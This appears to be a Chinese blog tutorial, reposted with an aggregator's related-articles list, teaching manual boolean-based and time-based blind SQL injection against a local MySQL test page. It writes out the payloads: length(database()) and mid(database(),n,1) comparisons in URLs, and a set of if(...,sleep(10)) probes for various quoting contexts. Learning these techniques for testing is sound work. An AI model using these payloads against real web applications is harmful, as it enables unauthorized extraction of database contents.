作者:Max老白Gān丶
链接:http://www.lofter.com/lpost/1fefbc76_12d25dc31
来源:LOFTER

  • 注入常用到的几个函数
  •  
    1
    mid(str,1,3)

    字符串获取

    这里我们要看到123456789 从第一个字节也就是1开始获取到3就截止了

  •  
    1
    ORD()

    转换为ASCII码

    我们看到这里把a转换成了97 我们去看对照表

  • 1
    Length()

    统计字节长度

  •  
    1
    version()

    查看数据库版本

  •  
    1
    database()

    查看数据库

  •  
    1
    user()

    查看当前用户

首先我们确定注入了验证要先获取数据库长度

1
2
and length(database())
or length(database())

我们先看一下数据库中sqltest长度【其实就是7个】

小知识点:有数据用and 没数据用or

1
http://localhost/test.php?id=1and length(database()) >1 #
1
and length(database()) >1 #:

意思是数据库的长度是否大于1
没有变化以此类推
发现变换

这时候我们要确定他到底是多少字节

 
1
http://localhost/test.php?id=1' and length(database()) = 8 %23

他等于8吗?不等于

他等于6吗?不等于

他等于7返回正确页面说明他的字节是7

现在我们获取数据库名字:

1
http://localhost/test.php?id=1' and mid(database(),1,1) ='1'%23
 
1
mid(database(),1,1) ='1'

:它的意思是从第一个获取每次只取一个 它等于1吗?
很显然不等

然后修改后面的以此类推我们试到

 
1
http://localhost/test.php?id=1' and mid(database(),1,1) ='s'%23

返回true的正确页面

如果我们想获取第二位第三位怎么办?

 
1
2
3
4
5
6
7
mid(database(),2,1)
mid(database(),3,1)
mid(database(),4,1)
mid(database(),5,1)
mid(database(),6,1)
mid(database(),7,1)
http://localhost/test.php?id=1' and mid(database(),2,1)  ='q'%23

剩下的我就不一一获取了学习这样方式就明白了。

延时注入方法:

常用的判断语句:

1
2
3
4
5
6
7
8
9
' and if(1=0,1, sleep(10)) --+   
 
" and if(1=0,1, sleep(10)) --+
 
) and if(1=0,1, sleep(10)) --+
 
') and if(1=0,1, sleep(10)) --+
 
") and if(1=0,1, sleep(10)) --+

为什么我和布尔注入写在一个文章里面哪?因为他们操作的流程是差不多的。

延时了10秒确定存在注入。

获取数据库长度利用上面的知识:

1
'and if(length(database())=9,sleep(10),1)--+

意思是如果数据过长度等于9他就延时10秒

1
'and if(length(database())<6,sleep(10),1)--+

如果一开始不知道他长度可以用这个大致判断的长度然后用上面的等于确定
长度小于6吗?没有延迟不小于6


小于9吗?

延迟成功表名数据库小于9 也就是说数据库长度在6-9之间

1
'and if(length(database())=7,sleep(10),1)--+

一 一测试我们确定长度是7

获取数据库名字:

1
http://localhost/test.php?id=1' and if(mid(database(),1,1) ='s',sleep(10),1)--+

十几分钟让你学会MySQL布尔和延迟盲注手工操作的更多相关文章

  1. mysql基于“时间”的盲注

    无需页面报错,根据页面响应时间做判断! mysql基于时间的盲注 =================================================================== ...

  2. DVWA-基于布尔值的盲注与基于时间的盲注学习笔记

    DVWA-基于布尔值的盲注与基于时间的盲注学习笔记 基于布尔值的盲注 一.DVWA分析 将DVWA的级别设置为low 1.分析源码,可以看到对参数没有做任何过滤,但对sql语句查询的返回的结果做了改变 ...

  3. Bugku-CTF之login3(SKCTF)(基于布尔的SQL盲注)

    Day41 login3(SKCTF)

  4. MYSQL注入天书之盲注讲解

    Background-2 盲注的讲解 何为盲注?盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面.此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注.从ba ...

  5. [MYSQL手工注入](2)基于布尔的SQL盲注实战

    0x02 MYSQL 手工注入实战--基于布尔的SQL盲注 前言,之前有对MYSQL基于报错的手工注入进行过介绍,但今天的实验环境,并不是基于报错的SQL注入,而是一个基于布尔的SQL盲注测试流程. ...

  6. 盲注----基于布尔的SQL盲注

    构造逻辑判断常用字符串截取函数http://www.cnblogs.com/yyccww/p/6054569.html常用函数left(a,b)  从左侧截取a的前b位right(a,b)  从右侧截 ...

  7. Sqli-LABS通关笔录-5[SQL布尔型盲注]

    /* 请为原作者打个标记.出自:珍惜少年时 */   通过该关卡的学习我掌握到了 1.如何灵活的运用mysql里的MID.ASCII.length.等函数 2.布尔型盲注的认识 3.哦,对了还有.程序 ...

  8. 半天做完的数据报表,YonBuilder只要十几分钟,0代码开发

    进入数字化时代,拍脑袋的决策方式显然不靠谱,一切要靠数据说话.与信息化时代相比,数字化时代的企业对数据的应用更广泛.更深入.为了应对激烈的市场竞争,企业经营决策者们对数据的依赖度越来越高,企业各个业务 ...

  9. 【转载】一个小时学会MySQL数据库

    一个小时学会MySQL数据库   目录 一.数据库概要 1.1.发展历史 1.1.1.人工处理阶段 1.1.2.文件系统 1.1.3.数据库管理系统 1.2.常见数据库技术品牌.服务与架构 1.3.数 ...

随机推荐

  1. JSP(一):JSP概要

    问题: 在学习了 Servlet 之后,使用 Servlet 进行页面的展现,代码书写过于麻烦.极大的影响了开发的效率,那么有没有一种方式可以让我们像以前写网页一样来进行网页的编程工作呢? 解决: 使 ...

  2. pygame学习之绘制圆

    import pygame from pygame.locals import * pygame.init() screen = pygame.display.set_mode((600, 500)) ...

  3. 维护爬虫代理IP池--采集并验证

    任务分析 我们爬的免费代理来自于https://www.kuaidaili.com这个网站.用`requests`将ip地址与端口采集过来,将`IP`与`PORT`组合成`requests`需要的代理 ...

  4. Alpha冲刺(3/10)——2019.4.25

    作业描述 课程 软件工程1916|W(福州大学) 团队名称 修!咻咻! 作业要求 项目Alpha冲刺(团队) 团队目标 切实可行的计算机协会维修预约平台 开发工具 Eclipse 团队信息 队员学号 ...

  5. Java EE ----- Container/Injection

    容器(container)是一个类,实际上是component的子类,因此容器本身也是一个组件,具有组件的所有性质,但是它的主要功能是容纳其他组件和容器. 对于开发人员,需要引入复杂的代码解决事务以及 ...

  6. APIO2018 被屠记

    占坑 day0 10:40才起床 感觉一点也不好 下午去了趟80中拿牌子然而没有到,白浪费我颓废时间. day0.5 早上第一课讲二分凸优化,有点瞌睡 第二课讲匹配相关,感觉这篇文章涵盖了大部分内容 ...

  7. js 模拟form表单post提交

    var generateHideElement = function (name, value) { var tempInput = document.createElement("inpu ...

  8. BZOJ5304 : [Haoi2018]字串覆盖

    离线处理所有询问. 对于$r-l\leq 50$的情况: 按照串长从$1$到$51$分别把所有子串按照第一位字符为第一关键字,上一次排序结果为第二关键字进行$O(n)$基数排序. 同理也可以用上一次比 ...

  9. Spark集群部署(standLone)模式

      安装部署: 1. 配置spark为1个master,2个slave的独立集群(Standlone)模式, 可以在VMWare中构建3台运行Ubuntu的机器作为服务器: master主机配置如下: ...

  10. 接口测试——postman & jmeter

    新名词: 自动化测试:写代码帮你测试 接口:是一个抽象的概念,一种交互关系. 抓包:拦截请求. 接口测试:就是功能测试,比后者还简单. 需要有测试文档,包括项目.模块.URL.请求方式.参数.参数说明 ...